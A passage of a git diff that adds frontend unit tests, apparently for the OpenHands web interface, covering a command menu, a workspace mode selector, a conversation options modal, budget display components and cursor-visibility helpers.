+      getRangeAt: () => range,
+    } as unknown as Selection);
+
+    ensureCursorVisible(element);
+    expect(element.scrollTop).toBe(120);
+
+    range.getBoundingClientRect = vi.fn(() => ({ bottom: 90 }) as DOMRect);
+    element.scrollTop = 0;
+    ensureCursorVisible(element);
+    expect(element.scrollTop).toBe(0);
+
+    range.getBoundingClientRect = vi.fn(() => ({ bottom: 100 }) as DOMRect);
+    ensureCursorVisible(element);
+    expect(element.scrollTop).toBe(0);
+  });
+
+  it("returns safely when cursor geometry is unavailable", () => {
+    const element = document.createElement("div");
+    const selectionSpy = vi.spyOn(window, "getSelection");
+    selectionSpy.mockReturnValue(null);
+    ensureCursorVisible(element);
+
+    selectionSpy.mockReturnValue({ rangeCount: 0 } as Selection);
+    ensureCursorVisible(element);
+
+    selectionSpy.mockReturnValue({
+      rangeCount: 1,
+      getRangeAt: () => ({}) as Range,
+    } as unknown as Selection);
+    ensureCursorVisible(element);
+
+    selectionSpy.mockReturnValue({
+      rangeCount: 1,
+      getRangeAt: () =>
+        ({ getBoundingClientRect: () => ({ bottom: 1 }) }) as Range,
+    } as unknown as Selection);
+    expect(() => ensureCursorVisible(null)).not.toThrow();
+    Object.defineProperty(element, "getBoundingClientRect", {
+      configurable: true,
+      value: undefined,
+    });
+    ensureCursorVisible(element);
+  });
+
+  it("focuses content-editable text at the end", () => {
+    focusContentEditableAtEnd(null);
+
+    const element = document.createElement("div");
+    element.textContent = "hello";
+    document.body.appendChild(element);
+    const focus = vi.spyOn(element, "focus");
+    const selection = window.getSelection()!;
+    focusContentEditableAtEnd(element);
+    expect(focus).toHaveBeenCalledOnce();
+    expect(selection.rangeCount).toBe(1);
+    const caret = selection.getRangeAt(0);
+    expect(caret.collapsed).toBe(true);
+    expect(caret.startOffset).toBe(element.childNodes.length);
+
+    vi.spyOn(window, "getSelection").mockReturnValue(null);
+    focusContentEditableAtEnd(element);
+    expect(focus).toHaveBeenCalledTimes(2);
+  });
+});
diff --git a/__tests__/components/features/chat/workspace-mode-selector.test.tsx b/__tests__/components/features/chat/workspace-mode-selector.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a32bc90a67048c07839c75f512a3675ee40628a6
--- /dev/null
+++ b/__tests__/components/features/chat/workspace-mode-selector.test.tsx
@@ -0,0 +1,24 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { WorkspaceModeSelector } from "#/components/features/chat/workspace-mode-selector";
+
+describe("WorkspaceModeSelector", () => {
+  it("opens the menu and calls onChange when an option is selected", () => {
+    const onChange = vi.fn();
+    render(
+      <WorkspaceModeSelector
+        value="local_repo"
+        backendKind="local"
+        onChange={onChange}
+      />,
+    );
+
+    // Open the menu (trigger renders the active mode via WorkspaceModeIcon).
+    fireEvent.click(screen.getByTestId("workspace-mode-selector"));
+    fireEvent.click(
+      screen.getByTestId("workspace-mode-selector-option-new_worktree"),
+    );
+
+    expect(onChange).toHaveBeenCalledWith("new_worktree");
+  });
+});
diff --git a/__tests__/components/features/command-menu/command-menu-items.test.tsx b/__tests__/components/features/command-menu/command-menu-items.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..355601651bd9cb7e747e67776f6f7405b030d46f
--- /dev/null
+++ b/__tests__/components/features/command-menu/command-menu-items.test.tsx
@@ -0,0 +1,74 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { createCommandMenuItems } from "#/components/features/command-menu/command-menu-items";
+
+/**
+ * The automation entry's title, description, and keywords are the interface
+ * manifest's. Without one there is no copy to show and no surface to reach,
+ * so the entry is not offered at all.
+ */
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/manifest-sources")>();
+  return { ...actual, AUTOMATION_INTERFACE_CANDIDATE: undefined };
+});
+
+describe("the command menu without an admitted interface manifest", () => {
+  it("omits the automations entry and keeps the rest", () => {
+    // Act
+    const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+    // Assert
+    expect(items.some((item) => item.id === "automations")).toBe(false);
+    expect(items.some((item) => item.id === "new-chat")).toBe(true);
+  });
+});
+
+const settingsItemIds = (items: ReturnType<typeof createCommandMenuItems>) =>
+  items.filter((item) => item.group === "settings").map((item) => item.id);
+
+/**
+ * Locked to a Cloud host (SaaS / self-hosted OHE) the settings sidebar lists
+ * only the Application page; the command menu must not re-expose the pages
+ * that sidebar unlists.
+ */
+describe("the command menu settings group", () => {
+  afterEach(() => {
+    vi.unstubAllEnvs();
+  });
+
+  it("lists every settings page when not locked to a Cloud host", () => {
+    // Act
+    const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+    // Assert
+    expect(settingsItemIds(items)).toEqual([
+      "settings",
+      "agent-settings",
+      "llm-settings",
+      "condenser-settings",
+      "verification-settings",
+      "app-settings",
+      "secrets-settings",
+    ]);
+  });
+
+  it("keeps only Settings and Application when locked to a Cloud host", () => {
+    // Arrange
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+    // Act
+    const items = createCommandMenuItems({ toggleSidebar: vi.fn() });
+
+    // Assert
+    expect(settingsItemIds(items)).toEqual(["settings", "app-settings"]);
+    expect(items.map((item) => item.id)).toEqual([
+      "new-chat",
+      "customize",
+      "mcp",
+      "settings",
+      "app-settings",
+      "toggle-sidebar",
+    ]);
+  });
+});
diff --git a/__tests__/components/features/command-menu/command-menu.test.tsx b/__tests__/components/features/command-menu/command-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b701c916baba0b1177c7f9016dc9ccd5cf174202
--- /dev/null
+++ b/__tests__/components/features/command-menu/command-menu.test.tsx
@@ -0,0 +1,485 @@
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderToStaticMarkup } from "react-dom/server";
+import { describe, it, expect, beforeEach, vi } from "vitest";
+import {
+  CommandMenu,
+  CommandMenuTrigger,
+} from "#/components/features/command-menu";
+import { COMMAND_MENU_ROUTE } from "#/components/features/command-menu/command-menu-items";
+import { getInterfaceCopy } from "#/manifests/automation-interface";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { useCommandMenuStore } from "#/stores/command-menu-store";
+import { useSidebarStore } from "#/stores/sidebar-store";
+import { renderWithProviders } from "../../../../test-utils";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-i18next")>()),
+  useTranslation: (namespace?: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `missing-namespace:${key}`,
+    i18n: {
+      language: "en",
+      exists: () => false,
+    },
+  }),
+}));
+
+const OPEN_LABEL_KEY = "COMMAND_MENU$OPEN_LABEL";
+const SEARCH_LABEL_KEY = "COMMAND_MENU$SEARCH_LABEL";
+const CLEAR_SEARCH_LABEL_KEY = "COMMAND_MENU$CLEAR_SEARCH_LABEL";
+const NO_RESULTS_TITLE_KEY = "COMMAND_MENU$NO_RESULTS_TITLE";
+const NAVIGATION_GROUP_KEY = "COMMAND_MENU$GROUP_NAVIGATION";
+const SETTINGS_GROUP_KEY = "COMMAND_MENU$GROUP_SETTINGS";
+const ACTIONS_GROUP_KEY = "COMMAND_MENU$GROUP_ACTIONS";
+// The automation interface manifest owns the automations command's copy, so
+// its title renders as the manifest literal rather than a translation key.
+const AUTOMATIONS_TITLE_KEY = getInterfaceCopy().commandMenuTitle;
+const NEW_CHAT_TITLE_KEY = "COMMAND_MENU$NEW_CHAT_TITLE";
+const SECRETS_TITLE_KEY = "COMMAND_MENU$SECRETS_SETTINGS_TITLE";
+const TOGGLE_SIDEBAR_TITLE_KEY = "COMMAND_MENU$TOGGLE_SIDEBAR_TITLE";
+const SEARCH_INPUT_ID = "command-menu-search";
+const RESULTS_LISTBOX_ID = "command-menu-results";
+const NEW_CHAT_OPTION_ID = "command-menu-option-new-chat";
+
+const navigateMock = vi.fn();
+
+function renderCommandMenu(navigate = navigateMock) {
+  const view = renderWithProviders(<CommandMenu />, {
+    navigation: { navigate },
+  });
+
+  return { ...view, navigate };
+}
+
+function withNavigation(navigate: NavigationContextValue["navigate"]) {
+  return (
+    <NavigationProvider
+      value={{
+        currentPath: "/",
+        conversationId: null,
+        isNavigating: false,
+        navigate,
+      }}
+    >
+      <CommandMenu />
+    </NavigationProvider>
+  );
+}
+
+beforeEach(() => {
+  navigateMock.mockReset();
+  window.localStorage.clear();
+  useCommandMenuStore.setState({ isOpen: false });
+  useSidebarStore.setState({ collapsed: false });
+});
+
+describe("CommandMenu", () => {
+  it("opens from the global command-k shortcut and closes with escape", async () => {
+    renderCommandMenu();
+
+    fireEvent.keyDown(window, { key: "k", metaKey: true });
+
+    const searchInput = await screen.findByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    await waitFor(() => expect(searchInput).toHaveFocus());
+    expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+
+    await userEvent.keyboard("{Escape}");
+
+    await waitFor(() => {
+      expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+    });
+  });
+
+  it("opens from the global ctrl-k shortcut", async () => {
+    renderCommandMenu();
+
+    fireEvent.keyDown(window, { key: "k", ctrlKey: true });
+
+    const searchInput = await screen.findByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    await waitFor(() => expect(searchInput).toHaveFocus());
+  });
+
+  it("ignores unmodified and unrelated global shortcuts", () => {
+    renderCommandMenu();
+
+    fireEvent.keyDown(window, { key: "k" });
+    fireEvent.keyDown(window, { key: "x", metaKey: true });
+
+    expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+    expect(useCommandMenuStore.getState().isOpen).toBe(false);
+  });
+
+  it("removes the global shortcut listener when unmounted", () => {
+    const { unmount } = renderCommandMenu();
+    unmount();
+
+    fireEvent.keyDown(window, { key: "k", ctrlKey: true });
+
+    expect(useCommandMenuStore.getState().isOpen).toBe(false);
+  });
+
+  it("cancels deferred focus and safely ignores it after unmount", () => {
+    let focusCallback: FrameRequestCallback | undefined;
+    const requestFrame = vi
+      .spyOn(globalThis, "requestAnimationFrame")
+      .mockImplementation((callback) => {
+        focusCallback = callback;
+        return 42;
+      });
+    const cancelFrame = vi
+      .spyOn(globalThis, "cancelAnimationFrame")
+      .mockImplementation(() => undefined);
+    useCommandMenuStore.getState().open();
+
+    const { unmount } = renderCommandMenu();
+    expect(requestFrame).toHaveBeenCalledOnce();
+    unmount();
+
+    expect(cancelFrame).toHaveBeenCalledWith(42);
+    expect(focusCallback).toBeDefined();
+    expect(() => focusCallback?.(0)).not.toThrow();
+
+    requestFrame.mockRestore();
+    cancelFrame.mockRestore();
+  });
+
+  it("filters commands by page and setting keywords", async () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+
+    await userEvent.type(
+      screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+      "secrets",
+    );
+
+    expect(screen.getByText(SECRETS_TITLE_KEY)).toBeInTheDocument();
+    expect(screen.queryByText(NEW_CHAT_TITLE_KEY)).not.toBeInTheDocument();
+    expect(screen.getByText(SETTINGS_GROUP_KEY)).toBeInTheDocument();
+    expect(screen.queryByText(NAVIGATION_GROUP_KEY)).not.toBeInTheDocument();
+    expect(screen.queryByText(ACTIONS_GROUP_KEY)).not.toBeInTheDocument();
+  });
+
+  it("keeps translated search fields separated", async () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+
+    await userEvent.type(
+      screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+      "titlecommand",
+    );
+
+    expect(screen.getByText(NO_RESULTS_TITLE_KEY)).toBeInTheDocument();
+  });
+
+  it("navigates to the selected command and closes the menu", async () => {
+    useCommandMenuStore.getState().open();
+    const { navigate } = renderCommandMenu();
+
+    await userEvent.click(screen.getByText(AUTOMATIONS_TITLE_KEY));
+
+    expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.automations);
+    await waitFor(() => {
+      expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+    });
+  });
+
+  it("supports arrow-key navigation and enter selection", async () => {
+    useCommandMenuStore.getState().open();
+    const { navigate } = renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+
+    await userEvent.type(searchInput, "settings");
+    await userEvent.keyboard("{ArrowDown}{ArrowUp}{Enter}");
+
+    expect(navigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.settings);
+    await waitFor(() => {
+      expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument();
+    });
+  });
+
+  it("wraps arrow-up navigation from the first to the last command", async () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    const options = screen.getAllByRole("option");
+
+    await userEvent.type(searchInput, "{arrowup}");
+
+    expect(options.at(-1)).toHaveAttribute("aria-selected", "true");
+    expect(searchInput).toHaveAttribute(
+      "aria-activedescendant",
+      options.at(-1)?.id,
+    );
+  });
+
+  it("runs local actions from the menu", async () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+
+    await userEvent.type(
+      screen.getByRole("combobox", { name: SEARCH_LABEL_KEY }),
+      "toggle",
+    );
+    await userEvent.click(screen.getByText(TOGGLE_SIDEBAR_TITLE_KEY));
+
+    expect(useSidebarStore.getState().collapsed).toBe(true);
+  });
+
+  it("shows an empty state and ignores selection keys when nothing matches", async () => {
+    const user = userEvent.setup();
+    useCommandMenuStore.getState().open();
+    const { navigate } = renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+
+    await user.type(searchInput, "no matching command");
+
+    expect(screen.getByText(NO_RESULTS_TITLE_KEY)).toBeInTheDocument();
+    expect(searchInput).not.toHaveAttribute("aria-activedescendant");
+
+    await user.keyboard("{ArrowDown}{ArrowUp}{Enter}");
+
+    expect(navigate).not.toHaveBeenCalled();
+    expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+
+    await user.click(
+      screen.getByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+    );
+
+    const firstOption = screen.getAllByRole("option")[0];
+    expect(firstOption).toHaveAttribute("aria-selected", "true");
+    expect(searchInput).toHaveAttribute(
+      "aria-activedescendant",
+      NEW_CHAT_OPTION_ID,
+    );
+  });
+
+  it("scrolls the newly active option into view", () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    const options = screen.getAllByRole("option");
+    const nextOption = options[1];
+    const scrollIntoView = vi.fn();
+    Object.defineProperty(nextOption, "scrollIntoView", {
+      configurable: true,
+      value: scrollIntoView,
+    });
+
+    fireEvent.keyDown(searchInput, { key: "ArrowDown" });
+
+    expect(searchInput).toHaveAttribute("id", SEARCH_INPUT_ID);
+    expect(searchInput).toHaveAttribute("aria-controls", RESULTS_LISTBOX_ID);
+    expect(screen.getByRole("listbox")).toHaveAttribute(
+      "id",
+      RESULTS_LISTBOX_ID,
+    );
+    expect(options[0]).toHaveAttribute("id", NEW_CHAT_OPTION_ID);
+    expect(options[0]).toHaveAttribute("aria-selected", "false");
+    expect(nextOption).toHaveAttribute("aria-selected", "true");
+    expect(searchInput).toHaveAttribute("aria-activedescendant", nextOption.id);
+    expect(scrollIntoView).toHaveBeenCalledWith({ block: "nearest" });
+  });
+
+  it("preserves and clamps pointer selection when filtering", async () => {
+    const user = userEvent.setup();
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    const allOptions = screen.getAllByRole("option");
+
+    await user.hover(allOptions[1]);
+    expect(allOptions[1]).toHaveAttribute("aria-selected", "true");
+    await user.hover(allOptions.at(-1) as HTMLElement);
+    expect(allOptions.at(-1)).toHaveAttribute("aria-selected", "true");
+
+    await user.type(searchInput, "settings");
+
+    const filteredOptions = screen.getAllByRole("option");
+    expect(filteredOptions.length).toBeLessThan(allOptions.length);
+    expect(filteredOptions.at(-1)).toHaveAttribute("aria-selected", "true");
+    expect(searchInput).toHaveAttribute(
+      "aria-activedescendant",
+      filteredOptions.at(-1)?.id,
+    );
+  });
+
+  it("clears the search and restores the full command list", async () => {
+    const user = userEvent.setup();
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+
+    await user.type(searchInput, "secrets");
+    expect(screen.queryByText(NEW_CHAT_TITLE_KEY)).not.toBeInTheDocument();
+
+    await user.click(
+      screen.getByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+    );
+
+    expect(searchInput).toHaveValue("");
+    expect(searchInput).toHaveFocus();
+    expect(screen.getByText(NEW_CHAT_TITLE_KEY)).toBeInTheDocument();
+    expect(
+      screen.queryByRole("button", { name: CLEAR_SEARCH_LABEL_KEY }),
+    ).not.toBeInTheDocument();
+  });
+
+  it("resets search and selection after closing and reopening", async () => {
+    const user = userEvent.setup();
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+    const searchInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+
+    await user.type(searchInput, "secrets");
+    await user.keyboard("{Escape}");
+    await waitFor(() =>
+      expect(screen.queryByTestId("command-menu")).not.toBeInTheDocument(),
+    );
+
+    act(() => useCommandMenuStore.getState().open());
+
+    const reopenedInput = screen.getByRole("combobox", {
+      name: SEARCH_LABEL_KEY,
+    });
+    expect(reopenedInput).toHaveValue("");
+    expect(screen.getAllByRole("option")).toHaveLength(12);
+    expect(screen.getAllByRole("option")[0]).toHaveAttribute(
+      "aria-selected",
+      "true",
+    );
+  });
+
+  it("uses the latest navigation context when a command runs", async () => {
+    const firstNavigate = vi.fn();
+    const latestNavigate = vi.fn();
+    useCommandMenuStore.getState().open();
+    const { rerender } = renderWithProviders(withNavigation(firstNavigate));
+
+    rerender(withNavigation(latestNavigate));
+    await userEvent.click(screen.getByText(AUTOMATIONS_TITLE_KEY));
+
+    expect(firstNavigate).not.toHaveBeenCalled();
+    expect(latestNavigate).toHaveBeenCalledWith(COMMAND_MENU_ROUTE.automations);
+  });
+
+  it("renders navigation commands as links and local actions as buttons", () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+
+    expect(screen.getByText(NEW_CHAT_TITLE_KEY).closest("a")).toHaveAttribute(
+      "href",
+      COMMAND_MENU_ROUTE.conversations,
+    );
+    expect(
+      screen.getByText(TOGGLE_SIDEBAR_TITLE_KEY).closest("button"),
+    ).toHaveAttribute("type", "button");
+  });
+
+  it("applies the command palette and active-option presentation", () => {
+    useCommandMenuStore.getState().open();
+    renderCommandMenu();
+
+    const dialog = screen.getByRole("dialog");
+    const surface = dialog.children[1] as HTMLElement;
+    const [activeOption, inactiveOption] = screen.getAllByRole("option");
+    const activeIcon = activeOption.querySelector('[aria-hidden="true"]');
+    const inactiveIcon = inactiveOption.querySelector('[aria-hidden="true"]');
+
+    expect(surface).toHaveClass(
+      "max-w-2xl",
+      "border-[var(--oh-border)]",
+      "shadow-[0_24px_90px_rgba(0,0,0,0.52),0_0_0_1px_rgba(255,255,255,0.03)_inset]",
+    );
+    expect(activeOption).toHaveClass("rounded-xl", "bg-white/[0.09]");
+    expect(inactiveOption).toHaveClass("rounded-xl", "text-[var(--oh-muted)]");
+    expect(activeIcon).toHaveClass("size-9", "border-[var(--oh-accent)]");
+    expect(inactiveIcon).toHaveClass("size-9", "border-[var(--oh-border)]");
+  });
+
+  it("leaves modified command links to native browser behavior", () => {
+    useCommandMenuStore.getState().open();
+    const { navigate } = renderCommandMenu();
+    const commandLink = screen.getByText(NEW_CHAT_TITLE_KEY).closest("a");
+    expect(commandLink).not.toBeNull();
+    commandLink?.addEventListener("click", (event) => event.preventDefault(), {
+      once: true,
+    });
+
+    fireEvent.click(commandLink as HTMLAnchorElement, { metaKey: true });
+
+    expect(navigate).not.toHaveBeenCalled();
+    expect(screen.getByTestId("command-menu")).toBeInTheDocument();
+  });
+
+  it("does not render the browser portal when open during server rendering", async () => {
+    const serverStoreState = {
+      isOpen: true,
+      open: () => undefined,
+      close: () => undefined,
+      toggle: () => undefined,
+    };
+    vi.resetModules();
+    vi.doMock("#/stores/command-menu-store", () => ({
+      useCommandMenuStore: (
+        selector: (state: typeof serverStoreState) => unknown,
+      ) => selector(serverStoreState),
+    }));
+    const { CommandMenu: ServerCommandMenu } =
+      await import("#/components/features/command-menu/command-menu");
+    const originalDocument = globalThis.document;
+    Object.defineProperty(globalThis, "document", {
+      configurable: true,
+      value: undefined,
+    });
+
+    try {
+      expect(renderToStaticMarkup(<ServerCommandMenu />)).toBe("");
+    } finally {
+      Object.defineProperty(globalThis, "document", {
+        configurable: true,
+        value: originalDocument,
+      });
+      vi.doUnmock("#/stores/command-menu-store");
+      vi.resetModules();
+    }
+  });
+});
+
+describe("CommandMenuTrigger", () => {
+  it("opens the command menu from the sidebar trigger", async () => {
+    renderWithProviders(
+      <>
+        <CommandMenuTrigger collapsed={false} />
+        <CommandMenu />
+      </>,
+    );
+
+    await userEvent.click(screen.getByRole("button", { name: OPEN_LABEL_KEY }));
+
+    expect(
+      await screen.findByRole("combobox", { name: SEARCH_LABEL_KEY }),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx b/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..28b69a7ab037c940a2ac5f5822e3cb91dfeb0ed8
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/advanced-conversation-options-modal.test.tsx
@@ -0,0 +1,181 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { fireEvent, screen, within } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { AdvancedConversationOptionsModal } from "#/components/features/conversation-panel/advanced-conversation-options-modal";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+
+function mockVerticalScrollMetrics(
+  element: HTMLElement,
+  metrics: { scrollHeight: number; clientHeight: number; scrollTop: number },
+) {
+  Object.defineProperty(element, "scrollHeight", {
+    configurable: true,
+    value: metrics.scrollHeight,
+  });
+  Object.defineProperty(element, "clientHeight", {
+    configurable: true,
+    value: metrics.clientHeight,
+  });
+  Object.defineProperty(element, "scrollTop", {
+    configurable: true,
+    writable: true,
+    value: metrics.scrollTop,
+  });
+}
+
+describe("AdvancedConversationOptionsModal", () => {
+  beforeEach(() => {
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe = vi.fn();
+
+        unobserve = vi.fn();
+
+        disconnect = vi.fn();
+      },
+    );
+  });
+
+  afterEach(() => {
+    useConversationPanelPreferencesStore.setState({
+      showOlderConversations: true,
+      olderConversationCutoff: "7d",
+    });
+    vi.unstubAllGlobals();
+  });
+
+  it("uses the standard modal width", () => {
+    renderWithProviders(
+      <AdvancedConversationOptionsModal
+        open
+        onClose={vi.fn()}
+        backendKind="local"
+        automationNameFacets={[]}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("advanced-conversation-options-modal"),
+    ).toHaveClass("w-[520px]");
+  });
+
+  it("keeps thread scope in its own section, apart from inclusion toggles", () => {
+    renderWithProviders(
+      <AdvancedConversationOptionsModal
+        open
+        onClose={vi.fn()}
+        backendKind="local"
+        automationNameFacets={[]}
+      />,
+    );
+
+    expect(screen.getByText("CONVERSATION_PANEL$THREADS")).toBeInTheDocument();
+    expect(screen.getByTestId("scope-all")).toHaveAttribute(
+      "role",
+      "menuitemradio",
+    );
+    expect(screen.getByTestId("scope-relevant")).toHaveAttribute(
+      "role",
+      "menuitemradio",
+    );
+    expect(screen.getByTestId("toggle-show-archived")).toHaveAttribute(
+      "role",
+      "menuitemcheckbox",
+    );
+    expect(screen.getByTestId("toggle-older-conversations")).toHaveAttribute(
+      "role",
+      "menuitemcheckbox",
+    );
+    expect(screen.getByTestId("toggle-older-conversations")).toHaveAttribute(
+      "aria-checked",
+      "false",
+    );
+  });
+
+  it("hides conversations older than the selected interval", () => {
+    renderWithProviders(
+      <AdvancedConversationOptionsModal
+        open
+        onClose={vi.fn()}
+        backendKind="local"
+        automationNameFacets={[]}
+      />,
+    );
+
+    fireEvent.click(screen.getByTestId("toggle-older-conversations"));
+    expect(
+      useConversationPanelPreferencesStore.getState().showOlderConversations,
+    ).toBe(false);
+
+    fireEvent.click(
+      within(screen.getByTestId("older-conversation-cutoff")).getByTestId(
+        "dropdown-trigger",
+      ),
+    );
+    fireEvent.click(screen.getByTestId("older-conversation-cutoff-1d"));
+    expect(
+      useConversationPanelPreferencesStore.getState().olderConversationCutoff,
+    ).toBe("1d");
+  });
+
+  it("closes from the top-right X", () => {
+    const onClose = vi.fn();
+    renderWithProviders(
+      <AdvancedConversationOptionsModal
+        open
+        onClose={onClose}
+        backendKind="local"
+        automationNameFacets={[]}
+      />,
+    );
+
+    fireEvent.click(screen.getByTestId("advanced-options-modal-close"));
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows a full-width line on the overflow edge as the list scrolls", () => {
+    renderWithProviders(
+      <AdvancedConversationOptionsModal
+        open
+        onClose={vi.fn()}
+        backendKind="local"
+        automationNameFacets={[]}
+      />,
+    );
+
+    const scroller = screen.getByTestId("advanced-options-scroll");
+    const topEdge = screen.getByTestId("advanced-options-scroll-edge-top");
+    const bottomEdge = screen.getByTestId("advanced-options-scroll-edge-bottom");
+
+    mockVerticalScrollMetrics(scroller, {
+      scrollHeight: 900,
+      clientHeight: 320,
+      scrollTop: 0,
+    });
+    fireEvent.scroll(scroller);
+
+    expect(topEdge).toHaveAttribute("data-visible", "false");
+    expect(bottomEdge).toHaveAttribute("data-visible", "true");
+
+    mockVerticalScrollMetrics(scroller, {
+      scrollHeight: 900,
+      clientHeight: 320,
+      scrollTop: 280,
+    });
+    fireEvent.scroll(scroller);
+
+    expect(topEdge).toHaveAttribute("data-visible", "true");
+    expect(bottomEdge).toHaveAttribute("data-visible", "true");
+
+    mockVerticalScrollMetrics(scroller, {
+      scrollHeight: 900,
+      clientHeight: 320,
+      scrollTop: 580,
+    });
+    fireEvent.scroll(scroller);
+
+    expect(topEdge).toHaveAttribute("data-visible", "true");
+    expect(bottomEdge).toHaveAttribute("data-visible", "false");
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/budget-display.test.tsx b/__tests__/components/features/conversation-panel/budget-display.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..487adfdfa937cfff5a30a6bb770522d31e7f3ddd
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/budget-display.test.tsx
@@ -0,0 +1,51 @@
+import React from "react";
+import { describe, expect, it } from "vitest";
+import { screen } from "@testing-library/react";
+import { renderWithProviders } from "test-utils";
+import { BudgetDisplay } from "#/components/features/conversation-panel/budget-display";
+
+describe("BudgetDisplay", () => {
+  it("renders nothing when cost is null", () => {
+    const { container } = renderWithProviders(
+      <BudgetDisplay cost={null} maxBudgetPerTask={5} />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders nothing when maxBudgetPerTask is null (no budget cap)", () => {
+    // Per OHE-3110: there is no way for a user to set max_budget_per_task, so
+    // the "No budget limit" line must be omitted rather than shown.
+    const { container } = renderWithProviders(
+      <BudgetDisplay cost={1.23} maxBudgetPerTask={null} />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders nothing when maxBudgetPerTask is zero", () => {
+    const { container } = renderWithProviders(
+      <BudgetDisplay cost={1.23} maxBudgetPerTask={0} />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders nothing when maxBudgetPerTask is negative", () => {
+    const { container } = renderWithProviders(
+      <BudgetDisplay cost={1.23} maxBudgetPerTask={-1} />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("renders the progress bar and usage text when a real cap exists", () => {
+    const { container } = renderWithProviders(
+      <BudgetDisplay cost={1.23} maxBudgetPerTask={5} />,
+    );
+    // Cap-present branch renders two child rows: BudgetProgressBar (whose
+    // fill div carries the transition-all class) and BudgetUsageText (the
+    // usage key renders untranslated in tests). Asserting on both proves we
+    // did not take the cap-absent (null) branch.
+    expect(container.querySelector(".transition-all")).toBeInTheDocument();
+    expect(
+      screen.getByText("CONVERSATION$BUDGET_USAGE_FORMAT"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx b/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..56f0e33390c03e7ddbfec0dd010d6c4d5b005990
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/budget-usage-text.test.tsx
@@ -0,0 +1,54 @@
+import { describe, expect, it } from "vitest";
+import i18next from "i18next";
+import { translationResources } from "#/i18n/resources";
+
+const FORMAT = translationResources.en.CONVERSATION$BUDGET_USAGE_FORMAT;
+
+// The exact parameters BudgetUsageText passes to t() (see
+// src/components/features/conversation-panel/budget-usage-text.tsx).
+const CONSUMER_PARAMS = {
+  currentCost: "$0.1234",
+  maxBudget: "$5.0000",
+  usagePercentage: "2.47",
+  used: translationResources.en.CONVERSATION$USED,
+};
+
+describe("CONVERSATION$BUDGET_USAGE_FORMAT", () => {
+  it("uses i18next placeholder syntax in the en locale string", () => {
+    // Regression guard for #16873: the key must use {{param}} placeholders so
+    // i18next substitutes values instead of printing the literal template.
+    expect(FORMAT).toBe(
+      "{{currentCost}} / {{maxBudget}} ({{usagePercentage}}% {{used}})",
+    );
